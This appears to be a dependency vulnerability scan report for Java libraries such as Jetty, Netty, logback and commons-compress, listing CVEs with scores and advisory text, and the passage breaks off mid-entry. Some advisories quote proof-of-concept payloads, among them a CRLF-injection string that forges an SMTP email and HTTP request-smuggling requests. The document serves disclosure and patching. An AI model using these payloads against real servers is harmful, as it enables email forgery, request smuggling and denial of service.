+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.jboss.xnio/xnio-api 3.8.8.Final (maven) + +pkg:maven/org.jboss.xnio/xnio-api@3.8.8.Final
+high 7.5: CVE--2023--5685 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=3.8.13.Final
Fixed version3.8.14.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.474%
EPSS Percentile64th percentile
+ +
Description +
+ +A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) + +pkg:maven/io.netty/netty-handler@4.1.94.Final
+high 7.5: CVE--2025--24970 Improper Input Validation + + + + + + + + +
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
+ +
Description +
+ +### Impact +When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. + +### Workarounds +As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: + +``` +SslContext context = ...; +SslHandler handler = context.newHandler(....); +``` + +to: + +``` +SslContext context = ...; +SSLEngine engine = context.newEngine(....); +SslHandler handler = new SslHandler(engine, ....); +``` + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.13 (maven) + +pkg:maven/ch.qos.logback/logback-core@1.2.13
+medium 5.9: CVE--2025--11226 Improper Input Validation + + + + + + + + +
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. + +A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. + +
+
+ +medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
+ +
Description +
+ +ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. + +Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. + +A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. + +
+
+ +low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
+ +
Description +
+ +Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. + +The attacks involves the modification of DOCTYPE declaration in  XML configuration files. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
